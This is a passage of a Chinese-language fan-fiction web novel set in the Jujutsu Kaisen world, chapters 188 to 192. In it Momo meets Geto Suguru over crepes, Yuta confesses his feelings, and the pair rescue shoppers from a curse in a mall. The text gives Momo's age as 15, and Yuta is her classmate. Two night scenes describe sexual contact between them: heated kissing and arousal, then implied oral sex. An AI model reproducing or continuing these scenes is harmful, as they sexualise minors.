夏油杰怔了怔,他的目光闪了闪,似乎想说什么,但终究还是没有说出口。 当队伍排到他们后,他们买好了蛋糕,准备分开时,他才掏出了手机。 “如你所说,高专并非乐园,咒术师的世界里,到处都是黑暗。”他叹息一声,“承蒙大家关照,我在离开高专后,有了一份还不错的事业,如果你有兴趣,可以联系我。” 今野桃犹豫了一下,还是同他交换了联系方式。 “夏油先生现在从事什么工作?”她状似随意地问道。 夏油杰的笑容意味深长:“不过是在一家宗教社团当上了负责人罢了。你们知道的,在普通人眼里,那种事情还是借由玄学会比较好理解。” 毕竟高专对外也是一所宗教学校。 “好,有机会的话,很荣幸加入您的社团。” “不客气。”夏油杰用两只手握住了她的手,对她眨了眨眼睛,“人与人之间大概就是这么有缘分吧,第一眼见到你,就觉得你很亲近呢。你来盘星教……我是说,加入我的事业,一定能获得更光明的前途。” “光明的前途?您说笑了,我暂时还没想得那么远。”今野桃把手往后抽了抽,竟然没抽出来,男人的力气很大,握得很紧,掌心把她的手完全包裹在其中。 祈本里香皱了皱眉,眼睛里闪过一丝凶光,嘴上却甜甜地说道:“麻烦你放开我的姐姐,好吗。” 夏油杰 看了她一眼,感受到咒力从自己身上拂过,他笑了笑,松开了手。 “抱歉,只是很久没看见这么好的苗子了,所以一时有点激动。”他咏叹道,“我承诺,如果你们愿意加入我,不管是权力还是金钱,都绝对能让你们满意。” “好,我们会考虑的。”今野桃揽住祈本里香的腰,阻止了她的冒进,颔首道。 夏油杰大概猜出了她的心思,但他没有戳穿,而是将一份可丽饼递给了她。 “如果是送给五条老师的话,或许这个口味他会更加喜欢哦。” “啊……是吗,谢谢。”今野桃接了过来。 男人摆摆手,拎着另外两份可丽饼离开了。 “姐姐,难道你真的要加入这个男人乱七八糟的社团吗?”祈本里香摇晃着她的手臂,不高兴地说道,“他一看就不是什么好人!刚刚就应该把他打跑!” “这里可是闹市区呀,随便动手很容易误伤无辜者的。”今野桃耐心解释道。 一边说着,她一边在手机上点来点去。 祈本里香和乙骨忧太很没有距离感地凑近看她的屏幕,看见她正在搜索关于“盘星教”的资料。 “竟然真的有这个社团?我还以为他是故意以这个为借口搭讪美少女呢。”祈本里香不遗余力地抹黑夏油杰,“毕竟他真的很像一个不良的油腻大叔!少说也得三四十来岁了吧。” “是啊,桃姐姐,你不会想要离开高专去盘星教吧?”乙骨忧太担忧地说道,随后又像是下定了决心似的开口,“如果、如果桃姐姐要去的话,那我也一起去好了。” “啊……那、那我也……”祈本里香结结巴巴地跟着说道。 “我现在没打算加入盘星教。”今野桃失笑,“我只是在为你们打算。咒术界似乎是个很封闭的地方,我总要为你们毕业以后的生活早做准备。” “诶?”两个还充满着学生气的少年愣了一下。 “高专毕竟是学校,毕业以后总不能继续留在那里。”今野桃漫不经心地说道,“提前打听一下情况,等我们毕业了不至于两眼一抹黑。” “这、这样啊……” 像是喝了一大口蜂蜜气泡水,甜滋滋的味道从舌尖渗透到心底,然后发出咕噜咕噜的快乐的声音。 “啊,搜到了。里香,夏油先生可不是三四十岁,人家今年才二十八哦。”今野桃随口说道,“比我们大十三岁。” 大十三岁啊…… 祈本里香嫌恶地撇了撇嘴。 “那也是大叔了。”她小声嘟囔,“肯定比不过年轻人的……” “什么?”今野桃似乎没听清楚她刚刚说的话,侧头问道。 “哈哈,没什么啦。”祈本里香对她露出一个可爱的笑脸,在姐姐看不见的地方皱了皱鼻子。 呵,老男人。 当三人来到餐厅时,五条悟已经到了。不等他开口抱怨他们的慢动作,今野桃已经将蛋糕和可丽饼一并奉上。 “咦,是给我的吗?”五条悟快乐地接了过去。 “蛋糕是买给大家一起吃的,可丽饼是给五条老师的。”今野桃说道,“不知道老师喜不喜欢。” 五条悟咬了一口可丽饼,很久没说话。 “很好吃。”恍惚过后,他笑道,声音略有点低沉,“我很喜欢,谢谢你们啦。” “快坐吧。”禅院真希将菜单推到今野桃的手边,“五条老师也是刚到,我们还没开始点单,正在商量吃什么。” “好啊,我看看……” “大家应该都会喜欢吃烤肉吧……要一份烤和牛。” “点个辣腌鳕鱼子?棘喜欢吃明太子饭团,应该也会喜欢这个?” 狗卷棘露出了为难的神色,他开口道:“鲑鱼……木鱼花……” “是不喜欢明太子饭团?”熊猫的脸上闪过一丝迷茫,“还是不喜欢鳕鱼子?” 今野桃头也没抬地说道:“狗卷同学的意思是,他两个都喜欢,但不喜欢重口味的食物,因为要保护嗓子。” 狗卷棘感激地连连点头。 “说的也是,抱歉抱歉。”熊猫挠挠头,得亏是在包厢,不然绝对会被赶出去。 “还好小桃能听懂,不然又要让棘来打字了。”熊猫感叹完,继续研究菜单。 没人注意到,乙骨忧太脸上失落的表情和黯淡的眼神。他抠弄着桌布,以此来掩饰自己的焦躁。 叮—— 手机铃声响起。 少年低头一看,是里香发来的消息。 他抬眼,对上了她意味深长的目光。 [这就是被抛弃的感觉哦,忧太。] 第189章 乙骨忧太没有回复她,祈本里香也不生气,只是撑着下巴,眼睛里含着似有若无的笑意。 她在高兴什么,桃姐姐如果谈了恋爱,难道不会把她也一并冷落吗。 乙骨忧太赌气地想着。 “诶对了,小桃,你的可丽饼是在哪里买的?”五条悟咽下最后一口奶油,漫不经心地问道,“怎么会想到买这个口味?” “就在不远处的那家甜品店。至于口味,是别人推荐的。”今野桃轻描淡写地回答。 “别人推荐的啊……”五条悟咂了咂嘴,开口道,“小桃,如果碰见怪叔叔,一定要跟老师说哦。” 怪叔叔?是值那个留着一小簇刘海一看就不是个好人的男人吗? 祈本里香正想说话,却感觉姐姐捏了捏她的手。她的嘴巴立刻闭上了。 “好,我知道了,五条老师。”今野桃听话地回道。 五条悟没再说什么。 虽然有人怀着不一样的心思,但这场联谊会还是很圆满地结束了。如果是RPG游戏的话,一定能看见每个人的好感值都大幅度提高。 吃饱喝足,大家带着满足感踏上了回高专的路程。 在宿舍楼门口分开后,乙骨忧太走在半道上,说要去买点零食和饮料。 “感觉你晚上是没怎么吃东西呢。”熊猫开口道,“是不舒服吗?” “啊,不是,就是有点不太习惯跟太多人一起吃饭……”乙骨忧太抱歉地说道,“不过我会很快适应的!” 熊猫理解了,点头回道:“那我跟你一起去吧。” “不用不用。”乙骨忧太的脑袋摇得像拨浪鼓一样。 然后他和祈本里香在自动售卖机那里相遇了。 “我长话短说。”祈本里香一边购买着热饮,一边开口道,“忧太,你真的太没有危机感了。” “……我不知道该怎么做。”乙骨忧太按下了亮着的按钮,语气惆怅,“其实能像现在这样跟桃姐姐还有里香在一起,我已经很满足了。” 祈本里香瞥了他一眼,笑了:“ 你好天真啊,忧太。我是无所谓啦,其实就算桃姐姐有了男朋友,对我的影响也不是很大,毕竟我是女孩子嘛。但那个时候,忧太还能和桃姐姐一起睡觉,还能享受到桃姐姐无微不至的关心吗?” 乙骨忧太一怔,拳头不自觉地攥紧了。 “没关系的,只要桃姐姐觉得开心……”他涩然开口道。 祈本里香的焦距落在了一亮一亮闪烁着的灯光上,语气漠然。 “人的爱是有限度,就像杯子里的水,要分的杯子越多,每个杯子里的就越少。而根据关系的亲疏远近,杯子里的水也不是平均分配的。”她短促地笑了一声,“你看,忧太,狗卷同学只是浅浅地夺走了一点点,你就受不了了,怎么好意思说自己能接受桃姐姐有男朋友。” 伴随着饮料从机子里落下的声音,祈本里香的音量也越发低了。 “如果桃姐姐真的要有一个男朋友,我只允许那个人是你。”她甜美的嗓音像是淬了毒,“其他人,我绝对会赶跑哦。” 乙骨忧太瞪大了眼睛,震惊的同时,又不免深受感动。 但他不知道,祈本里香也有自己的考量。 忧太这么好欺负,也好糊弄,就算成为了桃姐姐的男朋友,也肯定争不过自己。 但如果换了别人,她就没有百分百的信心把对方比下去了。 比如那个不像好人的夏油杰,显然就非常难搞。 “所以,你现在告诉我,忧太,你有没有那个想法?”祈本里香拎起手中的塑料袋,定定地看着她这个虽然看起来胆怯懦弱,但到了关键时刻绝对不会拖后腿的幼驯染,“我需要你确切的答案。” 乙骨忧太深吸了一口气。 他回答得很快,显然这个问题他已经思考过不止一次:“我不想把桃姐姐交给别人。” 祈本里香的嘴角扬起了满意的弧度:“好,我会帮你的。”。 今野桃躺在床上,身边空荡荡的。 里香自从联谊会后,和真希的关系就越发好了起来。禅院真希的性格直爽,里香只要稍微迎合一下她,两人就不会发生矛盾。 再加上里香有意卖惨,和她交换了自己的身世秘密后,两人简直是蜜里调油似的。 而如今,她们甚至会晚上一起打游戏了。 “桃姐姐你先睡吧,我要和真希一起玩大富翁!”祈本里香抱着自己的枕头,高兴地说道,“等会就来。” “啊……好的。”今野桃看着她离开的背影,心中惆怅。 怎么就没想到喊她一起玩呢?她也会玩大富翁啊! 而另一边,因为被诈出来晚上有人偷偷从男寝翻到女寝,负责人的五条老师竟然开始查寝了。 神出鬼没的老师会不定时地刷新在某个同学的寝室门口,敲响他的大门。 一旦被抓住不在寝室,检讨大刑伺候。 乙骨忧太差点被抓住一次,幸好今野桃及时提醒。 虽然五条老师在他寝室里找到了不属于室内的泥土和枯叶,但男生咬死不承认,坚称是自己不爱干净,他也只能啧了一声,怏怏离去。 取而代之的,是他盯男寝盯得更紧了。 乙骨忧太没能找到机会偷偷溜出来。他眼下的青黑色一层叠一层,整个人看起来憔悴不已。 偶尔散发出来的阴暗气息,让另外两个男同学看见了都绕道走。 “唉。”今野桃翻了个身,感觉自己孤零零的。 果然人的习惯是很容易养成的,明明最开始自己很不习惯身边有人一起睡觉,尤其还是两个。 现在,少了两人的温度后,她反而睡不着了。 唉,这就是孤寡老人的感觉吗? 闭上眼睛,今野桃开始酝酿睡意。 忽然,窗户口传来了窸窸窣窣的动静,然后是极细微的敲击声。她猛地睁开眼跳下床,拉开窗帘,看见一张抬起来的小脸。 乙骨忧太躲在窗边的角落,对她露出羞涩的笑容。 今野桃赶紧打开窗户,把他拽进来。 “你怎么……” “五条老师做任务去了。”他眨眨眼,把外套脱掉,将从外面带来的寒气抖落,“他今晚不在学校里。” 咦,他是怎么知道的? “好了,别冷到了。”今野桃让出了床边的一点位置。 乙骨忧太爬了上来,他已经练出薄薄一层肌肉的手臂环绕住姐姐的腰,把脸深深埋在她的肩膀上。 这是和之前截然不同的姿势。 之前他总是像小动物一样依偎在姐姐的身边,带着亲近和依赖。而现在,手指滑动间带出了几分不一样的意味。 因为太过仓促,窗帘没有拉紧,月光似流水从缝隙里淌进来。眼前的画面带上了几分如梦般的朦胧滤镜。 少年滚烫的掌心隔着薄薄的睡衣黏在她的后腰,他的呼吸喷在她的锁骨上,激起一片细小的疙瘩。今野桃能感觉到他胸膛紧紧贴着她,每一次心跳都像鼓点般清晰。 “桃姐姐……”他低声唤她的名字,声音沙哑得不像话,“原来这就是独占姐姐的感觉吗……” 今野桃的心里一跳。她干笑两声,轻轻拽了拽少年的头发:“好了,快睡觉吧,忧太,明天还要上课呢。” 乙骨忧太没说话,黑夜中,他的眼睛亮得惊人,像是蓄满了某种她读不懂的情绪。他的手指抚上她的脸颊,带着薄茧的指腹摩挲着她敏感的耳垂。 “姐姐。”他呼出的热气像是一团火焰,恨不得将两人一并点燃,“我们会永远在一起的,对吧。” “?”今野桃有些疑惑,她极力后退,手臂横在两人中间,“等下,忧太,你怎么……” 乙骨忧太的喉结上下滚动,他仿佛置身于无边无际的海洋,只等着名为“勇气”的浪头将他高高抛起。 “桃姐姐,我不想跟你分开,我想永远和你在一起。”他的指尖泛白,恨不得把自己融化、然后将姐姐吞没,“我喜欢你,请和我交往吧。” 少年的声音颤抖着,带着孤注一掷。 当他的唇压上来时,今野桃闻到了花香和他特有的气息。起初只是轻柔的触碰,像蝴蝶掠过花瓣。但随着她回应般地张开嘴,这个吻立刻变得火热起来。乙骨忧太的舌头探入她口中,纠缠着她的,带着试探和讨好。 他吻得很小心,一点一点地碾过每一寸,吞咽声在静谧的寝室里清晰可闻。 今野桃的手放在他的肩膀上,似是推拒,又似是迎合,一切只在她的一念之间。 所以,为了不被姐姐拒绝,少年越发卖力地讨好她。 他们的身体严丝合缝地贴在一起,今野桃能清晰地感受到他大腿肌肉的紧绷,以及某个部位不容忽视的存在感。被子里的温度越来越高,两人的汗水交融在一起,睡衣变得黏腻地贴在皮肤上。 乙骨忧太的吻沿着她的下颌线一路向下,在颈窝处流连,留下湿热的痕迹,引起她一阵战栗。今野桃咬住下唇忍住细碎的声音,手指却不自觉地插入他蓬乱的黑发中。 “好喜欢、好喜欢姐姐……”他炽热的唇贴着她的耳根呢喃,将那处烫得发红。 今野桃急促地喘息着:“但、但是我一直把你看成是弟弟……” “没关系呀。”乙骨忧太抬起头,湿润的眼眸弯成月牙,“我还可以是姐姐最好的朋友,是最亲密的家人……”他的声音渐渐低了下去,带着几分羞涩,“甚至是……姐姐的小狗……姐姐的……” 乙骨忧太没能说完,他的嘴巴被今野桃冷酷地捏住了。 可恶,到底是谁带坏了她纯洁的忧太! 第190章 “我们恋爱了。” 当乙骨忧太和今野桃这样宣布时,班上的同学没有一个发出惊讶的声音。大家都一脸“就这?”的表情看着两人,直把纯情少年看得面红耳赤。 “怎么都这幅样子。”今 野桃不满地说道,“多少给点反应吧?” 熊猫双手交叉放在下巴上,淡定地说道:“什么反应?如果小桃突然宣布自己跟校外人士或者某个学长恋爱了,那我们才会发出震惊的声音。” “这是完全没有悬念的事情。”禅院真希淡然地说道,“区别只在于早晚而已。” 今野桃撇撇嘴,好吧,被他们说服了。 “不过姐姐绝对不能更喜欢忧太呀。”祈本里香抱着她的手臂晃来晃去,尾音拉长,还带着波浪般的颤动,“说好了最喜欢里香的~” “没错没错,最喜欢的当然是里香啦。”今野桃和她贴了贴脸颊,笑弯了眼睛。 乙骨忧太在边上露出了羡慕的神色,但什么都没说。 祈本里香的眼中闪过一丝得意。 她就知道会是这样。 嘟嘟嘟。 教室门被敲响,众人回头,站在门口的是二年级的班主任。他探头看了一眼,确定大家都在后,走了进来。 “有一个任务指名要今野同学过去,因为五条老师不在,所以由我来通知了。”他推了推眼镜,开口道。 “小桃才入学没多久,怎么就有任务指名了?”熊猫皱起了眉毛,“这不合适吧?” “特殊情况而已。”二年级的班主任将任务资料发下去,“这次的意外发生在商场里,人流量大,一个一级咒灵突然出现,目前被困的幸存者至少有三位数。今野同学的术式能准确清楚地探查到他们的位置,节省时间,挽救更多人的生命。” 原来如此,这样说的话,确实小桃去的话更加合适。 “除此之外,我建议熊猫同学也一起去。”二年级的班主任看了一眼毛茸茸的熊猫,说道,“熊猫同学能更好地安抚幸存者的情绪。” 有什么痛苦的事情是撸毛绒绒不能解决的呢?如果不能,那就撸熊猫。 “好的。”熊猫习以为常地点头,显然不是第一次分到这种任务了。 乙骨忧太和祈本里香几乎同时站起身,声音重叠在一起:“就只需要两个人吗?我可以去吗?” 二年级的班主任挑眉,拒绝了:“这个任务难度不高,最多只需要三个人。” 乙骨忧太和祈本里香对视了一眼,似乎有看不见的电闪雷鸣从他们的视线中迸发。 就在大家都认为最后胜出的人会是里香时,她竟然退缩了。 “算了,那就让忧太去吧。”她皱了皱鼻子,小声说道,“这可是唯一一次的优待哦!” 乙骨忧太腼腆地笑了笑。 “行,那就定下你们三个人了。”二年级的班主任确定完后,对他们说道,“半小时后在校门口集合,不要迟到了。” 来接他们的是一个陌生的辅助监督,年轻女人的话不多,沉默地将他们送到目的地后,送上了一句“诸事顺利”。 今野桃展开术式,虚拟的游戏地图在眼前铺展开来。密密麻麻的友方目标几乎覆盖了整个画面,粗略估算竟有两三百人之多。 “这人数……”她倒吸一口凉气,转向两位同伴,“看来我们有的忙了。” “没问题,交给我们吧。”熊猫竖起了大拇指。 “帐”里面是隔绝了信号的,为了方便交流,他们戴上了通讯器,朝着三个不同的方向疾奔而去。 “熊猫,注意你左边的那个隔间里,有五个幸存者。” “忧太,你上面的通风管道里,有两个。” “收到。” 今野桃飞快地在地图上巡视,一个疑惑慢慢地升起。 奇怪,说好的一级咒灵呢? 地图上到处都是友方目标,并未看见敌对目标。 难道是已经逃走了? “忧太,你慢一点,刚刚路过的卫生间里还有一个幸存者。”她突然出声,声音在通讯器里带着轻微的电流音。 “啊,好、好的!抱歉!”乙骨忧太慌乱回答,背景音是杂乱的脚步声。 他左手抱着个哭花脸的小女孩,右手拽着个腿软的中年男子,背上还背着个昏迷的老人,整个人像棵挂满礼物的圣诞树。熊猫也差不多,因为体型更大,它能带的人也更多。 约莫二十分钟,还处于危险的幸存者的数量就降到了两位数。 今野桃把自己这片区域清理干净,左手和右手各自夹着一个小孩,一边往外跑一边说道:“我这边已经解决,现在去支援忧太。” “好的!” 她像灵活的猫咪在商场里穿梭,突然,脚下的地面毫无征兆地软化,像是踩进了沼泽。今野桃瞳孔骤缩,身体本能地前倾护住怀里的孩子,猝不及防被绊了个趔趄。 什么? 就在这一瞬间,猩红的敌方目标突然在地图上闪烁,让她头皮一麻——它就在她正下方! 地面裂开一张血盆大口,参差不齐的利齿间滴落着腐蚀性的黏液,仿佛是通往地狱的入口。 今野桃腾挪转动,却因为携带了两个幸存者而行动艰难。 “咒灵出现在我这边,来支援我,把幸存者带走!” “姐姐没事吧?!”通讯器里传来乙骨忧太急促的喘息和风声,“我现在就过来!” 今野桃一脚将咒灵的脑袋踹偏,借力后撤。两个小孩抱着她的腰和手,眼泪汪汪地也不说话,勉强算是没有拖后腿吧。 但她不敢把他们放下来,蚯蚓一样的咒灵足足有一层楼那么大,全长估计有十几米,只需轻轻一扫,就能把纸一样脆弱的普通人碾成肉泥。 真是奇了怪了,它到底是从哪里蹦出来的? 今野桃满脑子问号,再一次打开了地图。 她的目光扫过边缘处的几个友方目标,总算发现了罪魁祸首。 只见一个友方目标距离人群远远的,但因为在安全位置,所以今野桃一开始没放在心上。现在点开一看,上面赫然显示为——夏油杰。 她的呼吸一窒。 好家伙,原来是你小子啊! 等等,这算不算是被他发现了自己这个术式的bug? 咒灵操使本人对她是怀有好感的,但他放出来的咒灵显然对所有人类都心怀恶意。 因此,当他不将咒灵放出来时,地图上并不会显示敌方目标。 今野桃啧了一声,决定等下就去暴打一顿可恶的咒灵操使。 “小心——!”乙骨忧太的声音从很远的地方传来,像一把钝刀生生劈开空气。那声音里裹挟着撕心裂肺的痛楚,震得今野桃耳膜发颤。 由于痛觉被调低的缘故,她只感到左肩传来一阵细微的刺痛。直到温热的液体溅到脸颊上,她才后知后觉地意识到——自己竟然被咒灵咬住了。 鲜血顺着校服布料晕染开来,然后又一滴滴地落在地上。 今野桃的面色微微一变。 好、好丢脸啊!! 不仅没能无伤通关,居然还在弟弟和他的同期面前挂彩,这简直是她游戏生涯的奇耻大辱! 必须读档,否则玩家的面子往哪里放! 她已经可以想象到自己回去以后,同期们对自己关心不已的画面了! 但伟大的玩家不需要这种怜悯!她要的是完美的无伤记录!是百分之百的胜率! 都怪那个该死的夏油杰!! 今野桃咬牙切齿地调出操作界面,手指飞快地滑动着寻找合适的存档点。 就在此时,一股磅礴的、宛如海啸一般的咒力朝着她冲击而来。今野桃下意识地抬手抵挡,那股咒力却轻柔地绕开了她,而后方那只咒灵的头颅瞬间被碾成齑粉。 “不可饶恕!竟然、竟然敢伤害姐姐!!”乙骨忧太目眦欲裂,深红在他眼睛里晕染开,深刻的仇恨翻涌酝酿,浓郁的咒力在他的身上盘旋扭曲,让空气都开始震颤。此刻的他,比特级咒灵还要令人胆寒。 “去死!去死去死!” 咒力的浪潮一重高过一重,疯狂撕扯着那只一级咒灵。手中的长刀闪烁着锐利的锋芒,恨不得将咒灵砍成碎片。 在无边无际的黑暗之中,今野桃是唯一安全的岛屿。她半跪着,揽住两个小孩。 当一切都恢复平静,废墟上,他跌跌撞撞地朝着她跑来。 “桃姐姐,你受伤了!”大颗大颗的泪水从乙骨忧太的眼眶里溢出,他哽咽着,伸出手想要触碰她的肩膀,却又害怕弄痛她,最后只能悬在半空,颓然落下。 从未有过的疼痛自心头蔓延开,让乙骨忧太如坠冰窟。 他的面色苍白,喉结动了动,却没能发出声音。纤长的睫毛湿漉漉地黏成几簇,泪水在脸上糊成了一团,他慌慌张张去擦,手背蹭过脸颊时在颧骨处留下一道红痕。 “姐姐……对不起……”他低低地开口,嗓音哑得不成样子,像是被砂纸磨过,又像是被眼泪泡软了,尾音在空气里打着颤消散。 今野桃忍不住咽了口口水,把读档的手缩了回来。 这样的忧太……看起来好美味啊…… 190-200 第191章 “我没事……”今野桃开口想安慰他,目光却不由自主地黏在他睫毛上那颗将落未落的泪珠上。 乙骨忧太的手指颤抖着碰了碰她受伤的左臂,又像被烫到一样缩了回去。 “熊猫同学!”少年突然转头大喊,声音里带着从未有过的强硬,“那两个幸存者就拜托 你了!” “啊,好……” 没等熊猫说完,他已经将长刀利落地背在身后,然后在今野桃还没反应过来时一把将她打横抱了起来。这个动作太过突然,今野桃下意识地抓住了他胸前的衣料。 “忧太?”她迟疑了一下,说道,“放我下来吧,我自己可以的……” “不行!”乙骨忧太的声音低沉得可怕,手臂收得更紧了。今野桃能感觉到他急促的心跳透过湿透的制服传来,又快又乱,像是受惊的小动物。 这恐怕是他第一次这么果断地拒绝她。 今野桃暗暗咋舌,只觉得自己的心也跟着加快了速度。 乙骨忧太抱着她大步穿过废墟,重重碾过碎石瓦砾。今野桃仰头看他,发现他的下颌线绷得笔直,颈边有青色的血管暴起,像是在极力压抑着什么情绪。 临时医疗点里已经充满了他们救回来的幸存者,好在他们都没受什么伤,医护人员还能顾得上。 “嘶……”医生看见今野桃身上的伤口,倒吸了一口气,连忙让他把她放在干净的担架上,取来酒精棉和碘伏等药品。 “伤口比较大,需要缝针。”医生无奈地说道,“你看你们是要回去处理,还是我现在先缝上?” “回去处理吧,这种伤对于咒术师来说,很快就能好的。”今野桃对她笑了笑。 医生并不是咒术师,但既然会被找来,也大概清楚一点关于咒术界的事情。闻言点头回答:“好,那我就先给你简单处理一下。” 当酒精棉碰到翻开的皮肉时,今野桃还未有什么反应,乙骨忧太倒是用力闭了闭眼。他握住她的手掌,带着细细的抖动,好似受伤的人不是今野桃,而是他。 她轻柔地回握住他,拇指在他的手背上慢慢地摩挲,似是无声的安慰。 “好了。”医生最后缠上绷带,“虽然伤口很深,但没有伤到骨头。回去后不要碰水,记得换药。” “好。”今野桃顺从地点头。 任务结束,回高专的路上,车里安静得可怕。天上不知什么时候下起了小雨,今野桃靠在窗边,看着雨水在玻璃上蜿蜒流淌。她能感觉到乙骨忧太的视线一直黏在自己身上,灼热得几乎要在她侧脸烧出一个洞来。 “怎么了?”她轻声问道。 因为没什么痛感,所以今野桃不知道自己现在看上去有多么虚弱。她的嘴唇泛着青白,垂下的眼睑遮不住眸子里疲惫的光。 乙骨忧太没有回答,只是突然伸手,微凉的指尖轻轻碰了碰她绷带边缘露出的皮肤。他的动作很轻,像是怕碰碎她一样,与刚才强硬的态度判若两人。 “疼吗?”他问道,声音低得几乎听不见。 今野桃摇摇头,云淡风轻地回道:“不疼。” 乙骨忧太显然不信,但他拿她没办法。睫毛在他的眼下投射出一小块阴影,他低下头,一言不发。 熊猫左右看看,在后排把自己缩得更小了一点。 暮色四合时分,他们才回到高专。远远望见校门,今野桃就瞧见几个熟悉的身影在门口来回踱步。见她出现,众人立刻围了上来,七嘴八舌的关切声此起彼伏。 “我就知道忧太靠不住啦!”祈本里香生气地跺了跺脚,绕着今野桃打转,又因为她身上的伤不敢扑上去,样子像极了得知铲屎官打猎受伤后的猫咪,“姐姐换药的时候记得喊我,我一定会好好照顾姐姐!” “不用的,里香。”乙骨忧太突然截住了她的话,声音虽轻却异常坚定,“姐姐受伤,我也有责任,我会补偿姐姐的。” “诶?”祈本里香瞪圆了眼睛,仿佛第一次认识这个从小一起长大的玩伴。她张了张嘴,一时竟说不出话来。 “看起来伤得挺严重。”禅院真希皱着眉,“要不要去医务室让家入医生看看?” “大家不用这么紧张啦。”今野桃扶额叹气,“其实没大家想的那样严重,休息两天就好了。” “可是……” “好了好了,总之,我先回宿舍休息了。”她揉了揉太阳穴,“别小看我,这种伤说不定睡一觉就好了。” “那……那桃姐姐好好休息。”祈本里香咬着嘴唇目送她离开,直到那道身影完全消失在宿舍走廊的尽头,才猛地转身瞪向乙骨忧太。 少年垂着头,额前的碎发遮住了眼睛,整个人像是被雨水打湿的小狗般蔫头耷脑。 “啪!” 祈本里香突然抬手,结结实实地给了他一巴掌。 “啊!”乙骨忧太吃痛地捂住胳膊,茫然地抬头回望,“怎么了,里香?” 祈本里香哼了一声,大步回到教室…… 夜色如墨,乙骨忧太悄无声息地潜到阳台下。他修长的手指在窗沿摸索,触到一道几不可察的缝隙,眼睛在黑暗中微微一亮。他悄无声息地爬上去,像道影子般滑进屋子。 屋子里很黑,没有开灯,只能看见床上隆起一团。 他没有打扰主人的好眠,而是小心翼翼地走到了床边,确认她的呼吸平稳后,从怀里掏出自己的小毯子,铺在了地上。 少年像一只忠心的护卫犬,蜷缩着身体,把自己裹进毯子里。 他安静地打了个哈欠,呼吸也渐渐变得和缓。 忽然,有什么东西在他的背上踩了踩。 彼时他还没反应过来,整个人半梦半醒。那只踩在他背上的脚突然加重了力道,隔着薄毯不轻不重地碾了碾他的肩胛骨,然后慢慢地顺着他的脊椎往下滑。 乙骨忧太打了个激灵,猛地睁开了眼睛。他伸出手,握住了她的脚踝。 “呀,是忧太(yuta),我还以为是幽灵(yurei)呢。”她踢了踢他的腰,含笑道。 乙骨忧太像只受惊的兔子般弹了一下。他的耳根瞬间烧了起来,手忙脚乱地想爬起来,却被自己的毯子绊了个趔趄,被今野桃眼疾手快地揪住他的后领。 “桃姐姐……”他嗫嚅道,声音细如蚊呐,在黑暗中几乎听不清。 “有什么事吗?”她坐在床的边缘,外套披在身上。 “没什么事,就是、就是想看看桃姐姐。”乙骨忧太揪着毯子,坐在地上小声回道。 在昏暗的光线里,他又变回了那个熟悉的、容易害羞的少年。他的手指绞着毯子的一角,偷偷用眼角的余光看她。 “我还以为你是想要跟我一起睡觉呢。”今野桃弯腰捏了他的脸颊,“行了,别可怜兮兮的样子了,上来吧。” 她拍了拍床的一侧。 出乎意料的,乙骨忧太毫不犹豫,飞快地摇头:“不了,我、我睡地上就好。” 万一晚上睡迷糊了,他不自觉地钻进了姐姐的怀里,压到了姐姐的伤口怎么办? “那不是虐待你吗。”今野桃失笑,“别怕,我的伤已经好了。” 乙骨忧太的脑袋摇得像拨浪鼓:“不行不行。” 今野桃眨了眨眼睛,声音放软:“可我想和忧太一起睡觉,怎么办呢?” “不、不行……”乙骨忧太的神色动摇得厉害。 “和忧太一起睡觉感觉很快乐。”她低头在他的脸颊上亲了一口,“晚上这么冷,忧太抱抱我吧。” 她的嘴唇在他的肌肤上滑动,顺着唇角慢慢吻过去。 乙骨忧太沉默了,他的视线落在她的肩膀上。 在今野桃期待的目光中,他扶着她的膝盖,慢慢跪直了身体,瘦削的下巴抵着她的大腿。 “我知道了。”他哑着嗓子说道,“我会让姐姐快乐的。” 今野桃:“……?” 窗外的雨声忽然变得粘稠起来,水珠在透明的玻璃窗上蜿蜒成蛇。乙骨忧太的鼻尖蹭过内侧的软肉时,今野桃的手猛地把床单攥紧。 少年的呼吸比雨水更加潮湿,喷洒在肌肤上,激起细小的战栗。在她晦涩不明的注视下,他湿润的唇瓣若即若离地蹭来蹭去。 “忧太……” 她的手落在了他的头顶,碎发从她的指缝中钻出来。 仿佛得到了鼓励,他的 脸深深地埋进了阴影之中。 冰淇淋融化得很快,他必须更加仔细、更加快速地品尝,才不会让它滴落。 雨势渐急,掩盖住了房间里似有若无的吞咽声。 ——幸好他带了毯子。 一个念头从乙骨忧太的脑海中闪过。 第192章 树荫下,祈本里香抱着双膝,目光远远追随着操场上那几个挥汗如雨的身影。她的脸颊还泛着运动后的红晕,几缕碎发黏在汗湿的额前。 不是她不想努力,而是在激烈的运动后,她的体力实在是不足以支撑她继续锻炼下去了。 人不能和一群大猩猩比。 哦对了,姐姐除外。 姐姐厉害是理所当然的事情。 里香的视线随着操场上最耀眼的女生而转动,只见今野桃手中的长棍如臂使指,一个漂亮的横扫将熊猫庞大的身躯掀翻,紧接着棍梢精准点在狗卷的额头,在他吃痛后退时,又用棍尾抵住真希的腹部,轻松将她推开。 最后,她一脚踏在乙骨忧太背上,动作行云流水,一气呵成。 好! 祈本里香鼓起了掌。 “再来!”真希抹了把下巴上的汗水,撑着膝盖站起来。 狗卷和熊猫直接瘫在地上装死,说什么也不肯动了。 “再、再来一次吧!”乙骨忧太喘着粗气,却还是朝今野桃露出笑容,重新摆好架势。 “不错,那我们继续咯。”今野桃不置可否地点头,站在原地不动,等两人冲上来。 渐渐地,操场上就只剩下女生和男生两人还在乒乒乓乓地对打,禅院真希已经失去力气,遗憾退场。 她拖着疲惫的身体,慢慢地挪动到了祈本里香的身边。两人隔着一点距离,共享着这片树荫。 祈本里香及时递上了一瓶水,按理来说,剧烈运动后是不能喝水的,但身体素质相当强大的咒术师自然不在乎那些。 一口气喝完了大半瓶后,禅院真希才长舒了一口气,神色放松许多。 “怎么了,你看起来不太高兴的样子。”她笑道,“因为自己是第一个出局的人吗?” 祈本里香抠弄着手指,摇摇头,低声回答:“不是啦……” 她本来就不在乎这个。 她在乎的是…… “桃姐姐和忧太越来越亲密了。”她喃喃道,“他们在一起的时间也越来越长了。真希,你说……我是不是不应该让忧太和桃姐姐在一起?” “什么?”禅院真希放下水瓶,挑眉道,“‘让’?你的说法有点奇怪。你不想今野和乙骨在一起?” “也不是不想,就是、就是他们在一起后,好像把我忘到一边了诶!”祈本里香嘟囔着,两只手托着下巴,“之前我跟你晚上一起玩游戏的时候,桃姐姐还会来问我什么时候回去睡觉,现在都不会问了!” “……”禅院真希表情古怪,她张了张嘴,想说什么,又说不出来。 姐妹之间……是这样的吗? “真希真希。”祈本里香挪动了一下,靠近了一点女同学,“你也有妹妹,能跟我说说,你们分开的时候,你心里会难过吗?” 难过……吗? 